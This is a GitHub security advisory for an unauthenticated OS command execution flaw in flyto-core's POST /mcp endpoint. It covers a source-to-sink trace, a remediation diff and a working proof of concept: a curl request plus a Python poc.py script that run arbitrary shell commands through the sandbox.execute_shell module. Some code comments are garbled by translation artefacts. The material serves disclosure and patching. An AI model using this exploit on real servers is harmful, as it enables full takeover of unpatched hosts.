GHSA-H9F9-H6GM-WC85

Vulnerability from github – Published: 2026-07-06 17:41 – Updated: 2026-07-06 17:41
VLAI
Summary
flyto-core has Unauthenticated Command Execution via HTTP MCP `execute_module`
Details

Unauthenticated Command Execution via HTTP MCP execute_module

Summary

The HTTP MCP endpoint (POST /mcp) in flyto-core accepts unauthenticated JSON-RPC tools/call requests and dispatches them to arbitrary registered modules, including sandbox.execute_shell, which passes attacker-controlled input directly to asyncio.create_subprocess_shell. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to 127.0.0.1, making this a High-severity local vulnerability (CVSS 8.4); if started with --host 0.0.0.0, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as root inside a Docker container without any Authorization header.

Details

flyto-core exposes an HTTP API via FastAPI. When the API is started (flyto serve), the MCP router is unconditionally mounted at /mcp (src/core/api/server.py:75-78). The route handler at src/core/api/routes/mcp.py:65-66 declares @router.post("") with no Depends(require_auth) dependency, unlike the analogous REST execution routes (src/core/api/routes/modules.py:93) which enforce both authentication and a module denylist.

The complete unauthenticated data flow from source to sink:

  1. src/core/api/server.py:75-78mcp_router is mounted under /mcp unconditionally at app creation.
  2. src/core/api/routes/mcp.py:65-66@router.post("") has no Depends(require_auth) guard; any HTTP client may POST to this route.
  3. src/core/api/routes/mcp.py:79 — the full request body (attacker-controlled JSON) is parsed without validation.
  4. src/core/api/routes/mcp.py:103-104 — each JSON-RPC item is forwarded to handle_jsonrpc_request without a module_filter.
  5. src/core/mcp_handler.py:813-838tools/call with name execute_module forwards attacker-controlled module_id and params to execute_module().
  6. src/core/mcp_handler.py:180, 214-215 — the module registry resolves module_id and invokes it with attacker-supplied params.
  7. src/core/modules/registry/decorators.py:96-101 — the function wrapper exposes self.params as context['params'].
  8. src/core/modules/atomic/sandbox/execute_shell.py:137-139command is read directly from params with no sanitization.
  9. src/core/modules/atomic/sandbox/execute_shell.py:163-169command reaches asyncio.create_subprocess_shell with shell=True and no allowlist or escaping.

The sandbox.execute_shell module is not covered by the default denylist (_DEFAULT_DENYLIST = ["shell.*", "process.*"] at src/core/api/security.py:126), so even if module_filter were applied it would still be reachable.

Vulnerable code excerpts:

# src/core/api/routes/mcp.py:65-66  — missing auth
@router.post("")
async def mcp_post(request: Request):
# src/core/mcp_handler.py:832-838  — attacker-controlled dispatch
elif tool_name == "execute_module":
    result = await execute_module(
        module_id=arguments.get("module_id", ""),
        params=arguments.get("params", {}),
        context=arguments.get("context"),
        browser_sessions=browser_sessions,
    )
# src/core/modules/atomic/sandbox/execute_shell.py:137-169  — sink
params = context['params']
command = params.get('command', '')
# ... only empty-command and cwd existence checks ...
proc = await asyncio.create_subprocess_shell(command, ...)

Contrast with the protected REST route:

# src/core/api/routes/modules.py:93  — correctly guarded
@router.post("/execute", dependencies=[Depends(require_auth)])

The existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it.

PoC

Environment setup (Docker):

# Build the image (context: the report directory containing repo/ and vuln-001/)
docker build \
  -f vuln-001/Dockerfile \
  -t flyto-vuln-001 \
  reports/mcp_57_flytohub__flyto-core/

# Start the server (binds 0.0.0.0:8333 inside the container)
docker run --rm -d \
  -p 127.0.0.1:8333:8333 \
  --name flyto-vuln-001-test \
  flyto-vuln-001

Exploit (curl) — no Authorization header:

curl -sS http://127.0.0.1:8333/mcp \
  -H 'Content-Type: application/json' \
  -d '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
      "name": "execute_module",
      "arguments": {
        "module_id": "sandbox.execute_shell",
        "params": {"command": "id", "timeout": 5}
      }
    }
  }'

Exploit (Python PoC script):

python3 vuln-001/poc.py \
  --host 127.0.0.1 --port 8333 --command id

Observed response (dynamic reproduction, Phase 2):

{
  "jsonrpc": "2.0",
  "id": 1,
  "result": {
    "structuredContent": {
      "ok": true,
      "data": {
        "stdout": "uid=0(root) gid=0(root) groups=0(root)\n",
        "stderr": "",
        "exit_code": 0,
        "execution_time_ms": 4.84
      }
    },
    "isError": false
  }
}

The uid=0(root) output confirms arbitrary OS command execution without any authentication. The HTTP response status was 200 OK.

Network-accessible variant:

If the operator starts flyto-core with --host 0.0.0.0 (as the Dockerfile does for demonstration), the same request is reachable from any network host, changing the attack vector from Local to Network.

Recommended remediation:

--- a/src/core/api/routes/mcp.py
+++ b/src/core/api/routes/mcp.py
-from fastapi import APIRouter, Request
+from fastapi import APIRouter, Depends, Request
 from fastapi.responses import JSONResponse, Response
 from core.mcp_handler import handle_jsonrpc_request
+from core.api.security import require_auth, module_filter

-@router.post("")
+@router.post("", dependencies=[Depends(require_auth)])
 async def mcp_post(request: Request):
         result = await handle_jsonrpc_request(item, browser_sessions)
+        result = await handle_jsonrpc_request(item, browser_sessions, module_filter=module_filter)

-@router.delete("")
+@router.delete("", dependencies=[Depends(require_auth)])
 async def mcp_delete(request: Request):
--- a/src/core/api/security.py
+++ b/src/core/api/security.py
-_DEFAULT_DENYLIST = ["shell.*", "process.*"]
+_DEFAULT_DENYLIST = ["shell.*", "process.*", "sandbox.*"]

Impact

This is an unauthenticated OS command injection vulnerability. Any process that can reach the POST /mcp HTTP endpoint (locally by default, or remotely if the server is bound to a non-loopback interface) can execute arbitrary shell commands with the full privileges of the flyto-core server process. In the dynamic reproduction, the server ran as root, meaning full system compromise is possible.

Affected parties include:

  • Developers and local users running flyto serve on their workstations — any other local process (e.g., malicious code in a browser tab or another installed application) can pivot through the loopback interface.
  • Infrastructure operators who expose the API on a non-loopback interface (--host 0.0.0.0) without network-level access controls — the attack surface becomes the entire network.

Potential consequences include arbitrary file read/write, credential exfiltration, lateral movement, and full host takeover.

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

# lxml buildtext requiredtext whentext text
RUN apt-get update && apt-get install -y --no-install-recommends \
    gcc g++ libxml2-dev libxslt1-dev \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# local repo copy source (build context: mcp_57_flytohub__flyto-core/)
COPY repo/ /app/repo/

# flyto-core[api] install (fastapi + uvicorn contains)
RUN pip install --no-cache-dir "/app/repo[api]"

EXPOSE 8333

# container externalfrom accessibletext 0.0.0.0 binding
CMD ["python", "-c", "from core.api.server import main; main(host='0.0.0.0', port=8333)"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 PoC: Unauthenticated Command Execution via HTTP MCP execute_module

Target:  flyto-core 2.26.2
Route:   POST /mcp  (no auth dependency — mcp.py:65)
Sink:    asyncio.create_subprocess_shell  (execute_shell.py:163)
CWE:     CWE-306 Missing Authentication for Critical Function

Usage:
    python3 poc.py [--host 127.0.0.1] [--port 8333] [--command id]
"""
import sys
import time
import json
import argparse
import urllib.request
import urllib.error


def wait_for_server(base_url: str, max_wait: int = 45) -> bool:
    """servertext readytext until /health text."""
    for i in range(max_wait):
        try:
            with urllib.request.urlopen(f"{base_url}/health", timeout=2) as resp:
                if resp.status == 200:
                    print(f"[+] server is ready ({i}s textand)")
                    return True
        except Exception:
            pass
        time.sleep(1)
        if i % 5 == 4:
            print(f"[*] wait in progress... ({i+1}s)")
    return False


def send_exploit(base_url: str, command: str) -> dict:
    """without authentication POST /mcptext arbitrary command execute request."""
    payload = {
        "jsonrpc": "2.0",
        "id": 1,
        "method": "tools/call",
        "params": {
            "name": "execute_module",
            "arguments": {
                "module_id": "sandbox.execute_shell",
                "params": {
                    "command": command,
                    "timeout": 10
                }
            }
        }
    }

    data = json.dumps(payload).encode("utf-8")
    req = urllib.request.Request(
        f"{base_url}/mcp",
        data=data,
        headers={"Content-Type": "application/json"},
        method="POST",
    )

    with urllib.request.urlopen(req, timeout=20) as resp:
        body = resp.read().decode("utf-8")

    return json.loads(body)


def main():
    parser = argparse.ArgumentParser(description="VULN-001 PoC — flyto-core unauthenticated RCE via MCP")
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=8333)
    parser.add_argument("--command", default="id", help="OS command to execute (default: id)")
    args = parser.parse_args()

    base_url = f"http://{args.host}:{args.port}"

    print("=" * 60)
    print("VULN-001: Unauthenticated RCE via HTTP MCP execute_module")
    print(f"  Target  : {base_url}/mcp")
    print(f"  Command : {args.command}")
    print("=" * 60)
    print()

    # 1. wait for server readiness
    print("[*] waiting for server startup in progress...")
    if not wait_for_server(base_url):
        print("[-] FAIL: servertext whenbetween within not respond not")
        sys.exit(1)

    # 2. without authentication exploit send request
    print(f"\n[*] POST {base_url}/mcp — without an Authorization header send")
    try:
        result = send_exploit(base_url, args.command)
    except urllib.error.HTTPError as e:
        body = e.read().decode("utf-8", errors="replace")
        print(f"[-] HTTP {e.code}: {body}")
        print("[-] FAIL: servertext requesttext rejected (vulnerability none or text textdone)")
        sys.exit(1)
    except Exception as e:
        print(f"[-] text error: {e}")
        sys.exit(1)

    # 3. response parse
    print(f"\n[*] Raw JSON response:\n{json.dumps(result, indent=2, ensure_ascii=False)}\n")

    # result.result.structuredContent.data.stdout
    try:
        structured = result["result"]["structuredContent"]
        data = structured["data"]
        stdout = data.get("stdout", "")
        stderr = data.get("stderr", "")
        exit_code = data.get("exit_code", -1)
    except (KeyError, TypeError) as e:
        print(f"[-] FAIL: expected response structure text — {e}")
        print(f"    result keys: {list(result.get('result', {}).keys())}")
        sys.exit(1)

    print(f"[*] exit_code = {exit_code}")
    print(f"[*] stdout    = {stdout!r}")
    print(f"[*] stderr    = {stderr!r}")
    print()

    # 4. success verdict: `id` command resulttext uid= contains whether
    if "uid=" in stdout:
        print("[+] ============================================================")
        print("[+] PASS: without authentication text OS command execution check!")
        print(f"[+] command output: {stdout.strip()}")
        print("[+] ============================================================")
        sys.exit(0)
    else:
        print("[-] FAIL: stdouttext 'uid=' none — commandtext executenot text outputtext different")
        sys.exit(1)


if __name__ == "__main__":
    main()
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "flyto-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.26.2"
            },
            {
              "fixed": "2.26.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55786"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-06T17:41:03Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Unauthenticated Command Execution via HTTP MCP `execute_module`\n\n### Summary\n\nThe HTTP MCP endpoint (`POST /mcp`) in flyto-core accepts unauthenticated JSON-RPC `tools/call` requests and dispatches them to arbitrary registered modules, including `sandbox.execute_shell`, which passes attacker-controlled input directly to `asyncio.create_subprocess_shell`. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to `127.0.0.1`, making this a High-severity local vulnerability (CVSS 8.4); if started with `--host 0.0.0.0`, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as `root` inside a Docker container without any `Authorization` header.\n\n### Details\n\nflyto-core exposes an HTTP API via FastAPI. When the API is started (`flyto serve`), the MCP router is unconditionally mounted at `/mcp` (`src/core/api/server.py:75-78`). The route handler at `src/core/api/routes/mcp.py:65-66` declares `@router.post(\"\")` with **no** `Depends(require_auth)` dependency, unlike the analogous REST execution routes (`src/core/api/routes/modules.py:93`) which enforce both authentication and a module denylist.\n\nThe complete unauthenticated data flow from source to sink:\n\n1. **`src/core/api/server.py:75-78`** \u2014 `mcp_router` is mounted under `/mcp` unconditionally at app creation.\n2. **`src/core/api/routes/mcp.py:65-66`** \u2014 `@router.post(\"\")` has no `Depends(require_auth)` guard; any HTTP client may POST to this route.\n3. **`src/core/api/routes/mcp.py:79`** \u2014 the full request body (attacker-controlled JSON) is parsed without validation.\n4. **`src/core/api/routes/mcp.py:103-104`** \u2014 each JSON-RPC item is forwarded to `handle_jsonrpc_request` without a `module_filter`.\n5. **`src/core/mcp_handler.py:813-838`** \u2014 `tools/call` with name `execute_module` forwards attacker-controlled `module_id` and `params` to `execute_module()`.\n6. **`src/core/mcp_handler.py:180`, `214-215`** \u2014 the module registry resolves `module_id` and invokes it with attacker-supplied `params`.\n7. **`src/core/modules/registry/decorators.py:96-101`** \u2014 the function wrapper exposes `self.params` as `context[\u0027params\u0027]`.\n8. **`src/core/modules/atomic/sandbox/execute_shell.py:137-139`** \u2014 `command` is read directly from `params` with no sanitization.\n9. **`src/core/modules/atomic/sandbox/execute_shell.py:163-169`** \u2014 `command` reaches `asyncio.create_subprocess_shell` with `shell=True` and no allowlist or escaping.\n\nThe `sandbox.execute_shell` module is not covered by the default denylist (`_DEFAULT_DENYLIST = [\"shell.*\", \"process.*\"]` at `src/core/api/security.py:126`), so even if `module_filter` were applied it would still be reachable.\n\n**Vulnerable code excerpts:**\n\n```python\n# src/core/api/routes/mcp.py:65-66  \u2014 missing auth\n@router.post(\"\")\nasync def mcp_post(request: Request):\n```\n\n```python\n# src/core/mcp_handler.py:832-838  \u2014 attacker-controlled dispatch\nelif tool_name == \"execute_module\":\n    result = await execute_module(\n        module_id=arguments.get(\"module_id\", \"\"),\n        params=arguments.get(\"params\", {}),\n        context=arguments.get(\"context\"),\n        browser_sessions=browser_sessions,\n    )\n```\n\n```python\n# src/core/modules/atomic/sandbox/execute_shell.py:137-169  \u2014 sink\nparams = context[\u0027params\u0027]\ncommand = params.get(\u0027command\u0027, \u0027\u0027)\n# ... only empty-command and cwd existence checks ...\nproc = await asyncio.create_subprocess_shell(command, ...)\n```\n\n**Contrast with the protected REST route:**\n\n```python\n# src/core/api/routes/modules.py:93  \u2014 correctly guarded\n@router.post(\"/execute\", dependencies=[Depends(require_auth)])\n```\n\nThe existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it.\n\n### PoC\n\n**Environment setup (Docker):**\n\n```bash\n# Build the image (context: the report directory containing repo/ and vuln-001/)\ndocker build \\\n  -f vuln-001/Dockerfile \\\n  -t flyto-vuln-001 \\\n  reports/mcp_57_flytohub__flyto-core/\n\n# Start the server (binds 0.0.0.0:8333 inside the container)\ndocker run --rm -d \\\n  -p 127.0.0.1:8333:8333 \\\n  --name flyto-vuln-001-test \\\n  flyto-vuln-001\n```\n\n**Exploit (curl) \u2014 no Authorization header:**\n\n```bash\ncurl -sS http://127.0.0.1:8333/mcp \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n    \"jsonrpc\": \"2.0\",\n    \"id\": 1,\n    \"method\": \"tools/call\",\n    \"params\": {\n      \"name\": \"execute_module\",\n      \"arguments\": {\n        \"module_id\": \"sandbox.execute_shell\",\n        \"params\": {\"command\": \"id\", \"timeout\": 5}\n      }\n    }\n  }\u0027\n```\n\n**Exploit (Python PoC script):**\n\n```bash\npython3 vuln-001/poc.py \\\n  --host 127.0.0.1 --port 8333 --command id\n```\n\n**Observed response (dynamic reproduction, Phase 2):**\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 1,\n  \"result\": {\n    \"structuredContent\": {\n      \"ok\": true,\n      \"data\": {\n        \"stdout\": \"uid=0(root) gid=0(root) groups=0(root)\\n\",\n        \"stderr\": \"\",\n        \"exit_code\": 0,\n        \"execution_time_ms\": 4.84\n      }\n    },\n    \"isError\": false\n  }\n}\n```\n\nThe `uid=0(root)` output confirms arbitrary OS command execution without any authentication. The HTTP response status was `200 OK`.\n\n**Network-accessible variant:**\n\nIf the operator starts flyto-core with `--host 0.0.0.0` (as the Dockerfile does for demonstration), the same request is reachable from any network host, changing the attack vector from Local to Network.\n\n**Recommended remediation:**\n\n```diff\n--- a/src/core/api/routes/mcp.py\n+++ b/src/core/api/routes/mcp.py\n-from fastapi import APIRouter, Request\n+from fastapi import APIRouter, Depends, Request\n from fastapi.responses import JSONResponse, Response\n from core.mcp_handler import handle_jsonrpc_request\n+from core.api.security import require_auth, module_filter\n\n-@router.post(\"\")\n+@router.post(\"\", dependencies=[Depends(require_auth)])\n async def mcp_post(request: Request):\n         result = await handle_jsonrpc_request(item, browser_sessions)\n+        result = await handle_jsonrpc_request(item, browser_sessions, module_filter=module_filter)\n\n-@router.delete(\"\")\n+@router.delete(\"\", dependencies=[Depends(require_auth)])\n async def mcp_delete(request: Request):\n```\n\n```diff\n--- a/src/core/api/security.py\n+++ b/src/core/api/security.py\n-_DEFAULT_DENYLIST = [\"shell.*\", \"process.*\"]\n+_DEFAULT_DENYLIST = [\"shell.*\", \"process.*\", \"sandbox.*\"]\n```\n\n### Impact\n\nThis is an **unauthenticated OS command injection** vulnerability. Any process that can reach the `POST /mcp` HTTP endpoint (locally by default, or remotely if the server is bound to a non-loopback interface) can execute arbitrary shell commands with the full privileges of the flyto-core server process. In the dynamic reproduction, the server ran as `root`, meaning full system compromise is possible.\n\nAffected parties include:\n\n- **Developers and local users** running `flyto serve` on their workstations \u2014 any other local process (e.g., malicious code in a browser tab or another installed application) can pivot through the loopback interface.\n- **Infrastructure operators** who expose the API on a non-loopback interface (`--host 0.0.0.0`) without network-level access controls \u2014 the attack surface becomes the entire network.\n\nPotential consequences include arbitrary file read/write, credential exfiltration, lateral movement, and full host takeover.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\n# lxml buildtext requiredtext whentext text\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n    gcc g++ libxml2-dev libxslt1-dev \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# local repo copy source (build context: mcp_57_flytohub__flyto-core/)\nCOPY repo/ /app/repo/\n\n# flyto-core[api] install (fastapi + uvicorn contains)\nRUN pip install --no-cache-dir \"/app/repo[api]\"\n\nEXPOSE 8333\n\n# container externalfrom accessibletext 0.0.0.0 binding\nCMD [\"python\", \"-c\", \"from core.api.server import main; main(host=\u00270.0.0.0\u0027, port=8333)\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC: Unauthenticated Command Execution via HTTP MCP execute_module\n\nTarget:  flyto-core 2.26.2\nRoute:   POST /mcp  (no auth dependency \u2014 mcp.py:65)\nSink:    asyncio.create_subprocess_shell  (execute_shell.py:163)\nCWE:     CWE-306 Missing Authentication for Critical Function\n\nUsage:\n    python3 poc.py [--host 127.0.0.1] [--port 8333] [--command id]\n\"\"\"\nimport sys\nimport time\nimport json\nimport argparse\nimport urllib.request\nimport urllib.error\n\n\ndef wait_for_server(base_url: str, max_wait: int = 45) -\u003e bool:\n    \"\"\"servertext readytext until /health text.\"\"\"\n    for i in range(max_wait):\n        try:\n            with urllib.request.urlopen(f\"{base_url}/health\", timeout=2) as resp:\n                if resp.status == 200:\n                    print(f\"[+] server is ready ({i}s textand)\")\n                    return True\n        except Exception:\n            pass\n        time.sleep(1)\n        if i % 5 == 4:\n            print(f\"[*] wait in progress... ({i+1}s)\")\n    return False\n\n\ndef send_exploit(base_url: str, command: str) -\u003e dict:\n    \"\"\"without authentication POST /mcptext arbitrary command execute request.\"\"\"\n    payload = {\n        \"jsonrpc\": \"2.0\",\n        \"id\": 1,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"execute_module\",\n            \"arguments\": {\n                \"module_id\": \"sandbox.execute_shell\",\n                \"params\": {\n                    \"command\": command,\n                    \"timeout\": 10\n                }\n            }\n        }\n    }\n\n    data = json.dumps(payload).encode(\"utf-8\")\n    req = urllib.request.Request(\n        f\"{base_url}/mcp\",\n        data=data,\n        headers={\"Content-Type\": \"application/json\"},\n        method=\"POST\",\n    )\n\n    with urllib.request.urlopen(req, timeout=20) as resp:\n        body = resp.read().decode(\"utf-8\")\n\n    return json.loads(body)\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"VULN-001 PoC \u2014 flyto-core unauthenticated RCE via MCP\")\n    parser.add_argument(\"--host\", default=\"127.0.0.1\")\n    parser.add_argument(\"--port\", type=int, default=8333)\n    parser.add_argument(\"--command\", default=\"id\", help=\"OS command to execute (default: id)\")\n    args = parser.parse_args()\n\n    base_url = f\"http://{args.host}:{args.port}\"\n\n    print(\"=\" * 60)\n    print(\"VULN-001: Unauthenticated RCE via HTTP MCP execute_module\")\n    print(f\"  Target  : {base_url}/mcp\")\n    print(f\"  Command : {args.command}\")\n    print(\"=\" * 60)\n    print()\n\n    # 1. wait for server readiness\n    print(\"[*] waiting for server startup in progress...\")\n    if not wait_for_server(base_url):\n        print(\"[-] FAIL: servertext whenbetween within not respond not\")\n        sys.exit(1)\n\n    # 2. without authentication exploit send request\n    print(f\"\\n[*] POST {base_url}/mcp \u2014 without an Authorization header send\")\n    try:\n        result = send_exploit(base_url, args.command)\n    except urllib.error.HTTPError as e:\n        body = e.read().decode(\"utf-8\", errors=\"replace\")\n        print(f\"[-] HTTP {e.code}: {body}\")\n        print(\"[-] FAIL: servertext requesttext rejected (vulnerability none or text textdone)\")\n        sys.exit(1)\n    except Exception as e:\n        print(f\"[-] text error: {e}\")\n        sys.exit(1)\n\n    # 3. response parse\n    print(f\"\\n[*] Raw JSON response:\\n{json.dumps(result, indent=2, ensure_ascii=False)}\\n\")\n\n    # result.result.structuredContent.data.stdout\n    try:\n        structured = result[\"result\"][\"structuredContent\"]\n        data = structured[\"data\"]\n        stdout = data.get(\"stdout\", \"\")\n        stderr = data.get(\"stderr\", \"\")\n        exit_code = data.get(\"exit_code\", -1)\n    except (KeyError, TypeError) as e:\n        print(f\"[-] FAIL: expected response structure text \u2014 {e}\")\n        print(f\"    result keys: {list(result.get(\u0027result\u0027, {}).keys())}\")\n        sys.exit(1)\n\n    print(f\"[*] exit_code = {exit_code}\")\n    print(f\"[*] stdout    = {stdout!r}\")\n    print(f\"[*] stderr    = {stderr!r}\")\n    print()\n\n    # 4. success verdict: `id` command resulttext uid= contains whether\n    if \"uid=\" in stdout:\n        print(\"[+] ============================================================\")\n        print(\"[+] PASS: without authentication text OS command execution check!\")\n        print(f\"[+] command output: {stdout.strip()}\")\n        print(\"[+] ============================================================\")\n        sys.exit(0)\n    else:\n        print(\"[-] FAIL: stdouttext \u0027uid=\u0027 none \u2014 commandtext executenot text outputtext different\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-h9f9-h6gm-wc85",
  "modified": "2026-07-06T17:41:03Z",
  "published": "2026-07-06T17:41:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-h9f9-h6gm-wc85"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/flytohub/flyto-core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "flyto-core has Unauthenticated Command Execution via HTTP MCP `execute_module`"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…